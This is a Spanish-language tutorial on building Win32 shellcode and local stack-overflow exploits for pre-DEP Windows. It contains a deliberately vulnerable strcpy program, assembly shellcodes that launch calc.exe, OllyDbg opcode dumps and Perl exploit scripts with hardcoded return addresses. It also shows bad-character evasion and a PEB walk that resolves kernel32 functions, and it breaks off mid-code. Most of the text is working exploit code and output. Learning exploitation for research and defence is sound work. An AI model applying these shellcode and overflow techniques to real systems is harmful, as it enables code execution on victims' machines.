|=-----------=[ Creacion de shellcodes y exploits en win32 ]=------------=| |=-----------------------------------------------------------------------=| |=------=[ pepelux[at]enye-sec[dot]org ]=-----=| |=------=[ ]=-----=| |=-----------------------------------------------------------------------=| |=----------------------------=[ 29/06/2010 ]-=--------------------------=| --[ Contenido 1 - Introduccion 2 - Antes de empezar 2.1 - Conocimientos previos 2.2 - Herramientas 3 - Creando un exploit local 3.1 - Creando un programa vulnerable 3.2 - Programando una shellcode 3.3 - Creando un exploit 4 - Creando otro exploit local 4.1 - Programando una shellcode 4.2 - Creando un exploit 4.3 - Solucion de problemas 5 - Haciendo mas estandar nuestro exploit 6 - Creando un exploit remoto 6.1 - Creando un programa vulnerable 6.2 - Programando una shellcode 6.3 - Creando un exploit 7 - Referencias 8 - Agradecimientos ---[ 0 - Prologo Como se puede ver en la cabecera, el articulo lo escribi a finales de Noviembre del 2009 ... vamos ya para un año casi ... y el motivo por el que no ha visto la luz antes era porque en un principio estaba escrito para SET (set-ezine.org) pero tras varios meses sin saber nada de blackngel he decidido publicarlo en mi web y en la de eNYe. ---[ 1 - Introduccion El motivo de escribir este articulo no es otro que transmitir mis experiencias en la iniciacion de este apasionante mundillo (si, es un texto para newbies :) Los que han leido algun texto mio sabran que nunca he escrito nada sobre buffer overflow ni sobre shellcodes porque nunca me dedique a esto. Hace unos meses me pico el gusanillo y, a pesar de ser un tema muy antiguo y muy visto, me ha costado mucho encontrar textos y ejemplos validos para iniciados ya que todo se explica siempre de forma muy superficial y se dan por sabidos muchos aspectos que luego a los mas novatos nos cuesta de entender. A quien no le ha pasado que vas siguiendo un articulo con ejemplos y lo que al autor le funciona no consigues que vaya en tu maquina? o bien no te compila o luego da algun error que siempre te deja con la lectura a medias o con la necesidad de leer otros articulos para poder seguir con este. Si algo he aprendido es que no hay nada estandar y que cada programa vulnerable requiere un exploit realizado a su medida, al menos en Windows, porque influyen muchisimos factores tales como sistema operativo, Service Pack, tipo de funcion vulnerable, forma en la que el programa obtiene los datos, etc. Como ocurre con todo, hay que leer mucho para sacar unas pocas conclusiones. Yo recomendaria, antes de nada, leer y entender estos dos documentos, que vienen muy bien para iniciarse (y ademas en el idioma de Cervantes): > Exploits y stack overflows en Windows por Rodojos (http://www.todopsp.com/foros/showthread.php?t=23953) > Shellcodes en Win32 por RaiSe (http://www.govannom.org/seguridad/buf_overf/shellcodes_win32_1.txt) El texto de Rodojos explica muy bien en que consisten los buffer overflow y como programar una shellcode muy basica. Es ideal para la gente que se esta iniciando en este tema. El texto de RaiSe es bastante mas avanzado y da mucha teoria pero con pocos ejemplos practicos. Bueno, ejemplos hay pero con shellcodes ya creadas. Lo que pretendo es hacer algo intermedio entre estos dos textos, es decir, no voy a explicar desde cero que es un buffer overflow ni una shellcode pero si que voy a crear paso a paso diversas shellcodes, tanto basicas como avanzadas, en las que iremos viendo los posibles problemas que nos surgen y que en los textos que he leido no hacen referencia a como solucionarlos. En definitiva, se trata de comprender las cosas, realizando todo el proceso, desde la creacion del programa en ASM, pasando por la extraccion de los opcodes, y llegando a crear el exploit y, siempre verificando que todo funciona bien. Y en caso contrario, viendo como buscar soluciones. No hay nada como entender lo que se hace para detectar y solucionar rapidamente un problema :) Por ultimo añadir que esto solo funcionara en Windows inferiores a XP con SP3 ya que en el SP3 se añade DEP que evita que ejecutemos codigo en la pila y en Windows Vista, ademas de DEP tenemos posiciones aleatorias de memoria, que complica aun mas las cosas. ---[ 2 - Antes de empezar ----[ 2.1 - Conocimientos previos A pesar de que este documento es para iniciados, no se trata de algo sencillo para los que no tienen conocimientos de ciertas cosas. Para poder seguir y entender el texto necesitas saber ASM, conocer un poco el OllyDbg, nociones de perl y algo de C. Tambien es necesario que entiendas perfectamente el texto de Rodojos, que como dije, esta muy bien explicado para los mas iniciados. ----[ 2.2 - Herramientas Las herramientas que vamos a utilizar a lo largo de este documento son: > Dev-C++ para compilar los programas en C > Masm para compilar los programas en ASM > OllyDbg para depurar los programas > Notepad++ para escribir los exploits > ActivePerl para ejecutar los exploits Logicamente cada uno puede usar las alternativas que quiera. No es necesario usar los mismos compiladores y/o editores que yo :) ---[ 3 - Creando un exploit local Este apartado esta basado en el texto de Rodojos, que nos va a servir como punto de partida. Antes de ir al lio, tenemos que crearnos un programa vulnerable y otro en ASM que ejecute nuestro exploit, para probarlo. ----[ 3.1 - Creando un programa vulnerable Que mejor que usar el tipico programa vulnerable para comenzar! :) ---- vuln.c -------------------- #include #include int main (int argc, char *argv[]) { char buffer[64]; // array con 64 bytes de espacio if (argc < 2) { printf ("Hay que usar: %s, texto\n", argv[0]); return 0; } strcpy (buffer, argv[1]); // posible overflow return 0; } -------------------------------- Bien, lo compilamos, lo probamos y verificamos que es vulnerable y peta cuando se meten mas de 76 caracteres. Si, 76 que son 72 del buffer + 4 del EBP. 72 en lugar de 64 por la alineacion de la pila .... todo esto esta muy bien explicado en el texto de Rodojos, por lo que no me voy a extender mas. ----[ 3.2 - Programando una shellcode Ahora vamos a realizar un pequeño programa en ASM (basado tambien en el que aparece en el texto de Rodojos) que ejecute la calculadora de Windows. Para ello voy a usar el RadASM y compilarlo con el Masm. ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive include windows.inc include kernel32.inc include msvcrt.inc includelib kernel32.lib includelib msvcrt.lib .data lib db "msvcrt.dll" .code start: invoke LoadLibrary, offset lib push ebp mov ebp, esp xor dl, dl sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena mov byte ptr [ebp-0fh], 63h ; 'c' mov byte ptr [ebp-0eh], 61h ; 'a' mov byte ptr [ebp-0dh], 6Ch ; 'l' mov byte ptr [ebp-0ch], 63h ; 'c' mov byte ptr [ebp-0bh], 2Eh ; '.' mov byte ptr [ebp-0ah], 65h ; 'e' mov byte ptr [ebp-09h], 78h ; 'x' mov byte ptr [ebp-08h], 65h ; 'e' mov byte ptr [ebp-07h], dl ; 0x00 lea eax, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena push eax ; metemos la dirección de 'calc.exe' en la pila mov ebx, 77bf93c7h ; metemos en ebx el valor del offset de system ; (en mi maquina) call ebx ; llamamos a system y ejecuta nuestra shellcode invoke ExitProcess, 0 end start -------------------------------- Si os dais cuenta, he incluido la libreria msvcrt.dll para que el programa funcione. En una shellcode no hace falta ya que nuestro codigo queda integrado en el codigo del programa vulnerable pero en este caso, para probar que nuestro programa funciona tendremos que cargar la libreria msvcrt.dll que contiene la funcion system, y que nos permitira ejecutar un programa externo. Como habreis visto en el texto de Rodojos, necesitamos calcular la direccion donde esta ubicada nuestra funcion 'system' dentro de la libreria 'msvcrt.dll' Todo esto lo realiza Rodojos con un pequeño programa al que llama BuscaOffset y que nos da la direccion pasando como parametros la DLL y la funcion. En mi caso, como se puede ver en el codigo, esta en la direccion 77bf93c7h. Una vez puesta la direccion correcta, si compilais y ejecutais vereis que se abre la calculadora de Windows, por lo que el programa funciona (si no te va asegurate de haber puesto la direccion correcta!! lee el texto de Rodojos!! :) Y por ultimo, abrimos el programa con el OllyDbg para obtener los opcodes: -------------------------------- 00401000 >/$ 68 00304000 PUSH scode.00403000 ; /FileName = "msvcrt.dll" 00401005 |. E8 44000000 CALL ; \LoadLibraryA 0040100A |. 55 PUSH EBP 0040100B |. 8BEC MOV EBP,ESP 0040100D |. 32D2 XOR DL,DL 0040100F |. 83EC 10 SUB ESP,10 00401012 |. C645 F1 63 MOV BYTE PTR SS:[EBP-F],63 00401016 |. C645 F2 61 MOV BYTE PTR SS:[EBP-E],61 0040101A |. C645 F3 6C MOV BYTE PTR SS:[EBP-D],6C 0040101E |. C645 F4 63 MOV BYTE PTR SS:[EBP-C],63 00401022 |. C645 F5 2E MOV BYTE PTR SS:[EBP-B],2E 00401026 |. C645 F6 65 MOV BYTE PTR SS:[EBP-A],65 0040102A |. C645 F7 78 MOV BYTE PTR SS:[EBP-9],78 0040102E |. C645 F8 65 MOV BYTE PTR SS:[EBP-8],65 00401032 |. 8855 F9 MOV BYTE PTR SS:[EBP-7],DL 00401035 |. 8D45 F1 LEA EAX,DWORD PTR SS:[EBP-F] 00401038 |. 50 PUSH EAX 00401039 |. BB C793BF77 MOV EBX,77BF93C7 0040103E |. FFD3 CALL EBX 00401040 |. 6A 00 PUSH 0 ; /ExitCode = 0 00401042 \. E8 01000000 CALL ; \ExitProcess 00401047 CC INT3 00401048 .- FF25 04204000 JMP DWORD PTR DS:[<&kernel32.ExitProcess>; kernel32.ExitProcess 0040104E $- FF25 00204000 JMP DWORD PTR DS:[<&kernel32.LoadLibrary>; kernel32.LoadLibraryA -------------------------------- Lo que nos interesa es desde la direccion 0040100A hasta la direccion 0040103E por lo que marcamos de una linea a otra y luego boton derecho -> Binary -> Binary copy, quedandonos el codigo de nuestra shellcode: -------------------------------- 55 8B EC 32 D2 83 EC 10 C6 45 F1 63 C6 45 F2 61 C6 45 F3 6C C6 45 F4 63 C6 45 F5 2E C6 45 F6 65 C6 45 F7 78 C6 45 F8 65 88 55 F9 8D 45 F1 50 BB C7 93 BF 77 FF D3 -------------------------------- Para explotar el programa vulnerable, la teoria es sencilla: > rellenamos nuestro buffer con basura > con 4 bytes mas sobreescribimos EBP > RET coge de la pila la direccion de retorno e incrementa la pila en 4 bytes > sobreescribimos RET con la direccion de un JMP ESP o un CALL ESP > al incrementarse la pila apuntara a la posicion donde estaba la direccion del RET + 4 > JMP ESP nos devolvera justo a la siguiente direccion de la pila, donde comienza nuestra shellcode ----------------------------------------------------------------- | | | | Buffer | lo rellenamos con basura, por ejemplo con muchas 'A' | | | | |--------|--------------------------------------------------------| | | | | EBP | lo rellenamos tambien con 4 bytes de basura (ej: AAAA) | | | | |--------|--------------------------------------------------------| | | | | RET | aqui ponemos la direccion de un JMP ESP o CALL ESP | | | | |--------|--------------------------------------------------------| | | | | | nuestra shellcode | | | | ----------------------------------------------------------------- ----[ 3.3 - Creando un exploit Rodojos crea el exploit en C, mucha gente dice que Python es mejor, sin embargo yo para llevar la contra, lo hare en perl :) ---- exploit.pl ---------------- #!/usr/bin/perl $relleno = "A"x76; # 72+EBP $offset = "\xb8\x69\x83\x7c"; # CALL ESP $call_system = "\xc7\x93\xbf\x77"; # Offset de msvcrt.system # shell que ejecuta un calc.exe $shellcode = "\x55\x8B\xEC\x32\xD2\x83\xEC\x10\xC6\x45\xF1\x63\xC6\x45\xF2\x61" . "\xC6\x45\xF3\x6C\xC6\x45\xF4\x63\xC6\x45\xF5\x2E\xC6\x45\xF6\x65" . "\xC6\x45\xF7\x78\xC6\x45\xF8\x65\x88\x55\xF9\x8D\x45\xF1\x50\xBB" . $call_system . "\xFF\xD3"; $buffer = $relleno . $offset . $shellcode; exec("vuln.exe", $buffer, 0); -------------------------------- Para una mejor comprension he separado los dos paramstros que hacen que el exploit varie de una maquina a otra. Por un lado tenemos la funcion system de la libreria msvcrt.dll que ya vimos antes como obtenerla en nuestra maquina, con el programa BuscaOffset.exe de Rodojos, por ejemplo. Y por otro tenemos la direccion de un CALL ESP que obtuvimos con el programa FindJmp.exe, tambien explicado en el texto de Rodojos. Yo antes de probar el exploit lo que hago es cargar el programa con el OllyDbg, meter como parametro (Debug -> Arguments) las 72 'A' y depurar a mano hasta llegar al RET tras el strcpy. Verifico que hay 'A' (414141...41) hasta machacar el EBP y pongo a mano el $offset y el $shellcode. Para ello, pincho con el boton derecho sobre ESP y Follow in Dump. Luego marco una parte grande de bytes y pego los bytes de la shellcode con boton derecho y Binary -> Binary paste. Vamos pasando con F7 por el CALL ESP, luego entramos en nuestro codigo y vemos que se ejecuta la calculadora. Una vez verificado esto, probamos el exploit y vemos que funciona y nos abre la calculadora de Windows. Si no te funciono, asegurate de haber obtenido bien las direcciones y, si aun asi no te va, leete el apartado 4.3 ---[ 4 - Creando otro exploit local Ahora vamos a realizar casi lo mismo pero en lugar de llamar a la calculadora de Windows con un system, lo haremos con un WinExec. Esto nos servira para dos cosas, por un lado, para darnos cuenta de algunos problemas que pueden surgir al hacer nuestra shellcode y por otro lado, nos servira para el punto 5. Vamos a aprovechar el mismo programa vulnerable de antes por lo que no sera necesario realizar otro. ----[ 4.1 - Programando una shellcode A diferencia de antes, como la funcion WinExec esta incluida en la libreria kernel32.dll, no nos hara falta hacer un LoadLibrary de msvcrt.dll. Por otro lado, necesitamos meter un nuevo parametro en la pila y ademas, la direccion de la funcion cambia, logicamente. Esta la obtendremos tambien con el programa BuscaOffset pero esta vez pasando como parametros kernel32.dll y WinExec. ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive include windows.inc include kernel32.inc includelib kernel32.lib .code start: push ebp mov ebp, esp xor dl, dl sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena mov byte ptr [ebp-0fh], 63h ; 'c' mov byte ptr [ebp-0eh], 61h ; 'a' mov byte ptr [ebp-0dh], 6Ch ; 'l' mov byte ptr [ebp-0ch], 63h ; 'c' mov byte ptr [ebp-0bh], 2Eh ; '.' mov byte ptr [ebp-0ah], 65h ; 'e' mov byte ptr [ebp-09h], 78h ; 'x' mov byte ptr [ebp-08h], 65h ; 'e' mov byte ptr [ebp-07h], dl ; 0x00 lea eax, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena push eax ; metemos la dirección de 'calc.exe' en la pila mov ecx, 5 ; SW_SHOW push ecx push eax ; guardamos la direccion en la pila mov ebx, 7c8622b5h ; metemos en ebx el valor del offset de WinExec call ebx ; llamamos a WinExec y ejecuta nuestra shellcode invoke ExitProcess, 0 end start -------------------------------- Depurando con el OllyDbg obtenemos: -------------------------------- 00401000 >/$ 55 PUSH EBP 00401001 |. 8BEC MOV EBP,ESP 00401003 |. 32D2 XOR DL,DL 00401005 |. 83EC 10 SUB ESP,10 00401008 |. C645 F1 63 MOV BYTE PTR SS:[EBP-F],63 0040100C |. C645 F2 61 MOV BYTE PTR SS:[EBP-E],61 00401010 |. C645 F3 6C MOV BYTE PTR SS:[EBP-D],6C 00401014 |. C645 F4 63 MOV BYTE PTR SS:[EBP-C],63 00401018 |. C645 F5 2E MOV BYTE PTR SS:[EBP-B],2E 0040101C |. C645 F6 65 MOV BYTE PTR SS:[EBP-A],65 00401020 |. C645 F7 78 MOV BYTE PTR SS:[EBP-9],78 00401024 |. C645 F8 65 MOV BYTE PTR SS:[EBP-8],65 00401028 |. 8855 F9 MOV BYTE PTR SS:[EBP-7],DL 0040102B |. 8D45 F1 LEA EAX,DWORD PTR SS:[EBP-F] 0040102E |. B9 05000000 MOV ECX,5 00401033 |. 51 PUSH ECX 00401034 |. 50 PUSH EAX 00401035 |. BB B522867C MOV EBX,7C8622B5 -------------------------------- Si revisamos los opcodes vemos que hay algunos 00 y como sabemos, no podemos tener caracteres nulos ya que serian considerados como final de cadena y nuestro codigo se cortaria ahi, de manera que no se efectuaria el CALL y no se abriria la calculadora. Asi que vamos a modificar ligeramente el codigo ASM para evitar poner ceros: ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive include windows.inc include kernel32.inc includelib kernel32.lib .code start: push ebp mov ebp, esp xor dl, dl sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena mov byte ptr [ebp-0fh], 63h ; 'c' mov byte ptr [ebp-0eh], 61h ; 'a' mov byte ptr [ebp-0dh], 6Ch ; 'l' mov byte ptr [ebp-0ch], 63h ; 'c' mov byte ptr [ebp-0bh], 2Eh ; '.' mov byte ptr [ebp-0ah], 65h ; 'e' mov byte ptr [ebp-09h], 78h ; 'x' mov byte ptr [ebp-08h], 65h ; 'e' mov byte ptr [ebp-07h], dl ; 0x00 lea eax, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena push eax ; metemos la dirección de 'calc.exe' en la pila xor ecx, ecx mov cl, 5 ; SW_SHOW push ecx push eax ; guardamos la direccion en la pila mov ebx, 7c8622b5h ; metemos en ebx el valor del offset de WinExec call ebx ; llamamos a WinExec y ejecuta nuestra shellcode invoke ExitProcess, 0 end start -------------------------------- Quedando al final el codigo sin ceros: -------------------------------- 00401000 >/$ 55 PUSH EBP 00401001 |. 8BEC MOV EBP,ESP 00401003 |. 32D2 XOR DL,DL 00401005 |. 83EC 10 SUB ESP,10 00401008 |. C645 F1 63 MOV BYTE PTR SS:[EBP-F],63 0040100C |. C645 F2 61 MOV BYTE PTR SS:[EBP-E],61 00401010 |. C645 F3 6C MOV BYTE PTR SS:[EBP-D],6C 00401014 |. C645 F4 63 MOV BYTE PTR SS:[EBP-C],63 00401018 |. C645 F5 2E MOV BYTE PTR SS:[EBP-B],2E 0040101C |. C645 F6 65 MOV BYTE PTR SS:[EBP-A],65 00401020 |. C645 F7 78 MOV BYTE PTR SS:[EBP-9],78 00401024 |. C645 F8 65 MOV BYTE PTR SS:[EBP-8],65 00401028 |. 8855 F9 MOV BYTE PTR SS:[EBP-7],DL 0040102B |. 8D45 F1 LEA EAX,DWORD PTR SS:[EBP-F] 0040102E |. 33C9 XOR ECX,ECX 00401030 |. B1 05 MOV CL,5 00401032 |. 51 PUSH ECX 00401033 |. 50 PUSH EAX 00401034 |. BB B522867C MOV EBX,7C8622B5 00401039 |. FFD3 CALL EBX -------------------------------- Y nuestros opcodes: -------------------------------- 55 8B EC 32 D2 83 EC 10 C6 45 F1 63 C6 45 F2 61 C6 45 F3 6C C6 45 F4 63 C6 45 F5 2E C6 45 F6 65 C6 45 F7 78 C6 45 F8 65 88 55 F9 8D 45 F1 33 C9 B1 05 51 50 BB B5 22 86 7C FF D3 -------------------------------- ----[ 4.2 - Creando un exploit Del mismo modo que antes, vamos a crear el exploit, escribiendo nuestro offset y call_winexec segun los datos obtenidos para nuestra maquina: ---- exploit.pl ---------------- #!/usr/bin/perl $relleno = "A"x76; # 72+EBP $offset = "\xb8\x69\x83\x7c"; # CALL ESP $call_winexec = "\xb5\x22\x86\x7c"; # Offset de kernel32.WinExec # shell que ejecuta un calc.exe $shellcode = "\x55\x8B\xEC\x32\xD2\x83\xEC\x10\xC6\x45\xF1\x63\xC6\x45\xF2\x61" . "\xC6\x45\xF3\x6C\xC6\x45\xF4\x63\xC6\x45\xF5\x2E\xC6\x45\xF6\x65" . "\xC6\x45\xF7\x78\xC6\x45\xF8\x65\x88\x55\xF9\x8D\x45\xF1\x33\xC9" . "\xB1\x05\x51\x50\xBB\" . $call_winexec . "\xFF\xD3"; $buffer = $relleno . $offset . $shellcode; exec("vuln.exe", $buffer, 0); -------------------------------- Ahora ejecuto el exploit y, sorpresa!! no funciona!!! ... bueno, tal vez a ti si que te funciono, pero a mi no. Veamos en el siguiente apartado el porque. ----[ 4.3 - Solucion de problemas Llegados a este punto es cuando nos tiramos de los pelos y nos preguntamos, por que no va? mismo programa vulnerable, similar shellcode, mismo exploit, sin ceros que hagan fallar el exploit ... Y es aqui cuando requeri la ayuda de maestro y guru Ricardo Narvaja (no olvides visitar su web: http://www.ricardonarvaja.info) que con su infinita paciencia me aclaro que no solo los ceros hacen que el shellcode deje de funcionar. Evidentemente, estamos introduciento una cadena de texto como parametro, por lo que debemos pensar en todos aquellos caracteres que si escribieramos a mano, cortarian nuestra cadena de entrada. Por ejemplo, un espacio (\x20) indicaria un cambio de parametro, es decir, no es lo mismo: programa.exe blablabla-blablabla en la que solo hay un parametro, que: programa.exe blablabla blablabla en la que hay dos parametros y como el programa vulnerable usa argv[1], solo tendria en cuenta la primera cadena (blablabla) y ante un \x20, el shellcode se cortaria. Si los parametros los leyera de un fichero o con un gets, o mediante un socket, por ejemplo, este caracter si que seria valido. Segun la forma de inyectar nuestra shellcode, habran ciertos opcodes que no podremos usar. En este caso, no se puede poner el \x20 ni tampoco podemos usar comillas (\x22) o tabuladores (\x09) y posiblemente algun otro. Si revisamos la shellcode vemos que, en mi caso, la direccion de WinExec contiene un \x22 por lo que tendremos que ingeniarnoslas para cambiarla. De todas formas, vamos a depurar el programa con el Olly para verlo de forma mas clara. Para ello, abrimos el OllyDbg sin cargar el programa, vamos a Options -> Just-in-time debugging y marcamos 'Make OllyDbg just-in-time debugger' y damos a Done. En nuestro exploit cambiamos el primer opcode por \xCC (corresponde a la instruccion INT3) para que el depurador para justo ahi y no siga ejecutando el codigo. Nos quedaria: $shellcode = "\xCC\x8B\xEC\x32\xD2\x83\xEC\x10\xC6\x45\xF1\x63\xC6\x45\xF2\x61" . "\xC6\x45\xF3\x6C\xC6\x45\xF4\x63\xC6\x45\xF5\x2E\xC6\x45\xF6\x65" . "\xC6\x45\xF7\x78\xC6\x45\xF8\x65\x88\x55\xF9\x8D\x45\xF1\x33\xC9" . "\xB1\x05\x51\x50\xBB\" . $call_winexec . "\xFF\xD3"; Ejecutamos el exploit y vemos que se abre el OllyDbg y nos para justo al comienzo de nuestro codigo: -------------------------------- 0022FF80 CC INT3 0022FF81 8BEC MOV EBP,ESP 0022FF83 32D2 XOR DL,DL 0022FF85 83EC 10 SUB ESP,10 0022FF88 C645 F1 63 MOV BYTE PTR SS:[EBP-F],63 0022FF8C C645 F2 61 MOV BYTE PTR SS:[EBP-E],61 0022FF90 C645 F3 6C MOV BYTE PTR SS:[EBP-D],6C 0022FF94 C645 F4 63 MOV BYTE PTR SS:[EBP-C],63 0022FF98 C645 F5 2E MOV BYTE PTR SS:[EBP-B],2E 0022FF9C C645 F6 65 MOV BYTE PTR SS:[EBP-A],65 0022FFA0 C645 F7 78 MOV BYTE PTR SS:[EBP-9],78 0022FFA4 C645 F8 65 MOV BYTE PTR SS:[EBP-8],65 0022FFA8 8855 F9 MOV BYTE PTR SS:[EBP-7],DL 0022FFAB 8D45 F1 LEA EAX,DWORD PTR SS:[EBP-F] 0022FFAE 33C9 XOR ECX,ECX 0022FFB0 B1 05 MOV CL,5 0022FFB2 51 PUSH ECX 0022FFB3 50 PUSH EAX 0022FFB4 BB B5867CFF MOV EBX,FF7C86B5 0022FFB9 D320 SHL DWORD PTR DS:[EAX],CL 0022FFBB 3000 XOR BYTE PTR DS:[EAX],AL 0022FFBD 0000 ADD BYTE PTR DS:[EAX],AL 0022FFBF 00F0 ADD AL,DH -------------------------------- Si cambiamos el CC por 55 nos aparecera de nuevo el PUSH EBP. Pero lo importante es ver como la shellcode termina justo cuando iba el \x22 Del codigo original: 00401033 |. 50 PUSH EAX 00401034 |. BB B522867C MOV EBX,7C8622B5 00401039 |. FFD3 CALL EBX quedo: 0022FFB3 50 PUSH EAX 0022FFB4 BB B5867CFF MOV EBX,FF7C86B5 0022FFB9 D320 SHL DWORD PTR DS:[EAX],CL justo donde deberia estar el \x22 deja de aparecer nuestro codigo y aparece basura, que corresponde con lo que habia antes en la pila y que no hemos machacado. Bien, pues vamos a modificar el programa en ASM para evitar escribir ese codigo: ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive include windows.inc include kernel32.inc includelib kernel32.lib .code start: push ebp mov ebp, esp xor dl, dl sub esp, 10h ; dejamos espacio en la pila para meter nuestra cadena mov byte ptr [ebp-0fh], 63h ; 'c' mov byte ptr [ebp-0eh], 61h ; 'a' mov byte ptr [ebp-0dh], 6Ch ; 'l' mov byte ptr [ebp-0ch], 63h ; 'c' mov byte ptr [ebp-0bh], 2Eh ; '.' mov byte ptr [ebp-0ah], 65h ; 'e' mov byte ptr [ebp-09h], 78h ; 'x' mov byte ptr [ebp-08h], 65h ; 'e' mov byte ptr [ebp-07h], dl ; 0x00 lea eax, [ebp-0fh] ; cargamos la direccion que apunta a nuestra cadena push eax ; metemos la dirección de 'calc.exe' en la pila xor ecx, ecx mov cl, 5 ; SW_SHOW push ecx push eax ; guardamos la direccion en la pila mov ebx, 7c8621b5h ; metemos en ebx el valor del offset de WinExec - 100h xor ecx, ecx mov cl, 1 rol ecx, 8 add ebx, ecx ; añadimos 100h call ebx ; llamamos a WinExec y ejecuta nuestra shellcode invoke ExitProcess, 0 end start -------------------------------- Como se puede apreciar, he cambiado la direccion restando 100h para tener un 21 en lugar de un 22 y luego le sumo 100. A la hora de sumar 100 meti en CL un 1 y luego hice un ROL que nos desplaza ese 1 dos bytes a la izquierda. Esto es para no meter los caracteres nulos del 100. Ahora compilamos y sacamos los opcodes con el OllyDbg, igual que antes y nos queda el siguiente exploit: ---- exploit.pl ---------------- #!/usr/bin/perl $relleno = "A"x76; # 72+EBP $offset = "\xb8\x69\x83\x7c"; # CALL ESP # shell que ejecuta un calc.exe $shellcode = "\x55\x8B\xEC\x32\xD2\x83\xEC\x10\xC6\x45\xF1\x63\xC6\x45\xF2\x61" . "\xC6\x45\xF3\x6C\xC6\x45\xF4\x63\xC6\x45\xF5\x2E\xC6\x45\xF6\x65" . "\xC6\x45\xF7\x78\xC6\x45\xF8\x65\x88\x55\xF9\x8D\x45\xF1\x33\xC9" . "\xB1\x05\x51\x50\xBB\xB5\x21\x86\x7C\x33\xC9\xB1\x01\xC1\xC1\x08" . "\x03\xD9\xFF\xD3"; $buffer = $relleno . $offset . $shellcode; exec("vuln.exe", $buffer, 0); -------------------------------- La moraleja de todo esto es que siempre viene bien conocer el funcionamiento de las cosas, asi si un exploit no funciona en nuestra maquina siempre podemos intentar averiguar porque. ---[ 5 - Haciendo mas estandar nuestro exploit Si aun sigues leyendo es porque no te has quedado a medias en los puntos anteriores y has podido resolver los problemas que hayan podido surgir ... eso es buena señal :) Ahora lo que vamos a tratar es de ampliar un poco el fabuloso documento de RaiSe, y basicamente consiste en hacer nuestra shellcode un poco mas estandar. Como? pues haciendo que se calcule de forma automatica la direccion de la funcion que vamos a utilizar. Si nos fijamos en el primer programa en ASM, usamos la funcion system de la libreria msvcrt.dll, DLL que previamente cargamos con un LoadLibraryA, funcion que se encuentra en kernel32.dll. Para el shellcode suponemos que el programa vulnerable ya tiene cargada la libreria msvcrt.dll y lo unico que necesitamos es saber la direccion en la que se encuentra (y para ello usabamos el programa BuscaOffset). Toda la teoria esta muy bien explicada en el documento de RaiSe en el que habla sobre el formato PE, Import Tables, Export Tables, etc ... Bien, pues vamos a modificar nuestra shellcode de manera que haga lo siguiente: > Buscar la direccion de la libreria kernel32.dll > Dentro de esta libreria buscamos la funcion LoadLibraryA > Usando LoadLibraryA cargaremos la libreria msvcrt.dll > Y con esta Dll cargada, buscaremos la funcion system > Conociendo la direccion de system ya podemos lanzar la calculadora Lo que vamos a obtener es el offset de msvcrt.system, que es lo mismo que haciamos antes a mano y que, como sabeis, cambia de una maquina a otra, por lo que nos sera muy util que este automatizado. He pensado en poner el codigo por partes pero como es algo largo, pense que mejor lo pongo entero y añado comentarios para que se entienda lo que hace, asi que ahi va: ---- scode.asm ----------------- .386 .model flat, stdcall ;32 bit memory model option casemap :none ;case sensitive assume fs:nothing include windows.inc include kernel32.inc includelib masm32.lib includelib kernel32.lib .data kernelbase dd 0 ; espacio para la direccion base de kernel32.dll ploadlibrary dd 0 ; espacio para la direccion de LoadLibraryA msvcrtbase dd 0 ; espacio para la direccion base de msvcrt.dll psystem dd 0 ; espacio para la direccion de system ; definimos las cadenas de texto que necesitaremos nLoadLibrary db "LoadLibraryA", 0 nMsvcrt db "msvcrt", 0 nSystem db "system", 0 ; variables para la busqueda de DLLs base dd ? funcion dd ? .code start: ; ***************************************** ; Búsqueda de la dirección de msvcrt.system ; ***************************************** call busca_kernel32 ; devuelve en eax la direccion de kernell32.dll or eax, eax ; si eax es 0 sale jz salir mov kernelbase, eax ; guardamos la direccion de kernel32.dll push offset kernelbase ; direccion de kernel32.dll push offset nLoadLibrary ; cadena de texto con: LoadLibraryA push 0Dh ; longitud de LoadLibraryA + 1 call busca_libreria ; buscamos LoadLibraryA dentro de kernel32.dll or eax, eax ; si eax es 0 sale jz salir mov ploadlibrary, eax ; metemos en ploadlibrary la direccion de LoadLibraryA push offset nMsvcrt ; introducimos la dll que queremos cargar call ploadlibrary ; devuelve en eax la direccion de msvcrt.dll or eax, eax ; si eax es 0 sale jz salir mov msvcrtbase, eax ; guardamos la direccion de msvcrt.dll push offset msvcrtbase push offset nSystem push 07h ; longitud de system + 1 call busca_libreria ; Dentro de msvcrt.dll buscamos la funcion system or eax, eax ; si eax es 0 sale jz salir mov psystem, eax ; guardamos la direccion de msvcrt.system ; ********************************** ; lanzamos la calculadora de windows ; ********************************** mov ebp, esp xor dl, dl sub esp, 0ch ; quitamos a esp 0ch bytes para meter calc.exe mov byte ptr [ebp-09h], 63h ; 'c' mov byte ptr [ebp-08h], 61h ; 'a' mov byte ptr [ebp-07h], 6Ch ; 'l' mov byte ptr [ebp-06h], 63h ; 'c' mov byte ptr [ebp-05h], 2Eh ; '.' mov byte ptr [ebp-04h], 65h ; 'e' mov byte ptr [ebp-03h], 78h ; 'x' mov byte ptr [ebp-02h], 65h ; 'e' mov byte ptr [ebp-01h], dl ; 0x00 lea eax, [ebp-09h] ; cargamos en eax, la direccion que apunta al inicio de calc.exe push eax ; guardamos la direccion en la pila mov ebx, psystem ; metemos en ebx el valor del offset de system call ebx ; llamamos a system y ejecuta nuestra shellcode salir: invoke ExitProcess, 0 ; ****************************************** ; Buscamos la direccion base de kernel32.dll ; ****************************************** busca_kernel32: mov eax, fs:[30h] ; puntero al PEB mov eax, [eax+0ch] ; puntero a la estructura de datos mov esi, [eax+1ch] ; extrae la primera entrada lodsd ; avanza a la siguiente mov eax, [eax+08h] ; obtiene la direccion base y la guarda en eax ret ; *************************************************************************** ; Buscamos la direccion de una funcion dada la direccion base de una libreria ; *************************************************************************** busca_funcion: mov eax, [esp+8] ; funcion apunta al nombre de la funcion (ej: LoadLibraryA) mov funcion, eax mov eax, [esp+12] ; base apunta a la base de la libreria (ej: kernel32.dll) mov eax, [eax] mov base, eax mov esi, base ; puntero a la direccion base add esi, [esi+03Ch] ; puntero a PE signature mov ecx, [esp+4] ; ecx = longitud del nombre de la 